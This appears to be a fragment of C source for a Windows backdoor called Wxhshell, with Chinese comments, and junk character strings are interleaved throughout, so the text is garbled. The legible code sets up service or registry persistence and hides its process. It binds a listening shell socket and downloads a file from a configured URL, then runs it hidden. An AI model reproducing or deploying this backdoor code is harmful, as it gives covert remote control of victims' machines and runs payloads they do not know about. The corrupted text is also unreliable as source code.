0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xfbr;Jt"< $F[+H Wf CloseHandle(hProcess); 4O.R=c2}7> PgA1:i&' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8aKS=(Z!j if(hProcess==NULL) return 0; GB"Orm. $ M/1pZ HMODULE hMod; 8nL9#b char procName[255]; SlHDBr!.z unsigned long cbNeeded; (h=]Ox +@yU ` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oI'& &Bt Ab>Kf r# CloseHandle(hProcess); ]mz '(t (h@!_qi9: if(strstr(procName,"services")) return 1; // 以服务启动 /y|ZAN 7U?#Xi5 return 0; // 注册表启动 A{M7 } iOSt=-p gs=ok8w // 主模块 )WW*X6[k int StartWxhshell(LPSTR lpCmdLine) Lusd kc7 { ofw&?Sk0 SOCKET wsl; %d*0"<v BOOL val=TRUE; lpS v int port=0; 6VuyKt struct sockaddr_in door; ,>za|y<n vLBuE if(wscfg.ws_autoins) Install(); ;#S]mso1 /xcXd+k] port=atoi(lpCmdLine); 6\jbSe jSH.e? if(port<=0) port=wscfg.ws_port; nRu %0Op ~WORC\kCW WSADATA data; {MyI3mvA if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5k9
vYW5k %NJ0Y(:9( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G-|c%g!ejf setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GAZRQ door.sin_family = AF_INET; 4;3Vc% door.sin_addr.s_addr = inet_addr("127.0.0.1"); GB<.kOGQ[ door.sin_port = htons(port); { Ie~MW S'W,AkT if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d*VvQU8C closesocket(wsl); Bha("kG return 1; 9v;HE{> } .'Q*_};W GQk/ G0*& if(listen(wsl,2) == INVALID_SOCKET) { e$WAf`* closesocket(wsl); eThFRU3 F return 1; Nnr[@^M5 } "Nb2[R Wxhshell(wsl); Y
.cjEeL@ WSACleanup(); 6 C
O5:\ Q4L=]qc T return 0; B$YoglEW: -mGG:#yP } 0l& '` IVZUB*wv)b // 以NT服务方式启动 @$ Nti> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <66%(J> { TC44*BHq DWORD status = 0; j|`lOH8 DWORD specificError = 0xfffffff; 7SH3k=x &-p~UZy serviceStatus.dwServiceType = SERVICE_WIN32; nTGZ2C)c<' serviceStatus.dwCurrentState = SERVICE_START_PENDING; HRrR"b9: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FG+pR8aA$ serviceStatus.dwWin32ExitCode = 0; db8vm4 serviceStatus.dwServiceSpecificExitCode = 0; ^Y;,cLXJ serviceStatus.dwCheckPoint = 0; 1gcWw, / serviceStatus.dwWaitHint = 0; ::'Y07 ~piE$"]& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HeO&p@ if (hServiceStatusHandle==0) return; RticGQy&5 M!mw6';k status = GetLastError(); K(lSR if (status!=NO_ERROR) OcPgw/
I { AXte&l=M serviceStatus.dwCurrentState = SERVICE_STOPPED; _&U#*g serviceStatus.dwCheckPoint = 0; 9-q> W serviceStatus.dwWaitHint = 0; d$x vEm serviceStatus.dwWin32ExitCode = status; cYe2a" serviceStatus.dwServiceSpecificExitCode = specificError; 9}a$0H
h SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]\A=[T^ return; zVf79UrK } On~KTt3Mp rc<Ix serviceStatus.dwCurrentState = SERVICE_RUNNING; d4ld-y serviceStatus.dwCheckPoint = 0; tKcC{ serviceStatus.dwWaitHint = 0; }CMGK{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K1A<m=If } tP*GYWI48 <2%9O;bV[ // 处理NT服务事件,比如:启动、停止 F[%k;aJ VOID WINAPI NTServiceHandler(DWORD fdwControl) D29Lu(f
{ 1n}#54 switch(fdwControl) 8>
$=p4bf { ,Eh]Zv1AE case SERVICE_CONTROL_STOP: 9QB,%K_:4 serviceStatus.dwWin32ExitCode = 0; _'1 ]CoR serviceStatus.dwCurrentState = SERVICE_STOPPED; 9ZU^([@D serviceStatus.dwCheckPoint = 0; @mxaZ5Vv} serviceStatus.dwWaitHint = 0; (!N2,1| { /SS~IhUX SetServiceStatus(hServiceStatusHandle, &serviceStatus); J?X{NARt } =[!(s/+>L return; vzbGL ap# case SERVICE_CONTROL_PAUSE: M|h B[ serviceStatus.dwCurrentState = SERVICE_PAUSED; U{Oo@ztT break; YEaT_zWG0 case SERVICE_CONTROL_CONTINUE: 60$;Q,]o serviceStatus.dwCurrentState = SERVICE_RUNNING; _h \L6. break; [kqtkgK$j2 case SERVICE_CONTROL_INTERROGATE: [q3zs_nz break; <;W-!R759 }; DCZG'eb SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Cqp88] } );JWrkpz
kSc~gJrne // 标准应用程序主函数 p%sizn int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %kop's&?C { \xl$z*zI O $e"3^Pa // 获取操作系统版本 ",vK~m2W_ OsIsNt=GetOsVer(); z80FMulO GetModuleFileName(NULL,ExeFile,MAX_PATH); Ee7+ob L[D+= // 从命令行安装 0L8fpGJ if(strpbrk(lpCmdLine,"iI")) Install(); k+?gWZ\ GiM-8y~ // 下载执行文件 7%? bl if(wscfg.ws_downexe) { FvPWS!H if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +swT MR WinExec(wscfg.ws_filenam,SW_HIDE); V>Z4gZp5sc } U_izKvEh y9/nkF1p if(!OsIsNt) { @#N7M2/ // 如果时win9x,隐藏进程并且设置为注册表启动 PWx%~U.8~j HideProc(); @MTv4eC}e StartWxhshell(lpCmdLine); sF[gjeIb } X])iQyN else Nb
!i_@m%s if(StartFromService()) U?{oxy_[ 2 // 以服务方式启动 Wu|MNB?M StartServiceCtrlDispatcher(DispatchTable); o8<~zeI else KN657 |f // 普通方式启动 'NCqI StartWxhshell(lpCmdLine); Gds(.]_ & C)1( return 0; ,lvG5B\0 }
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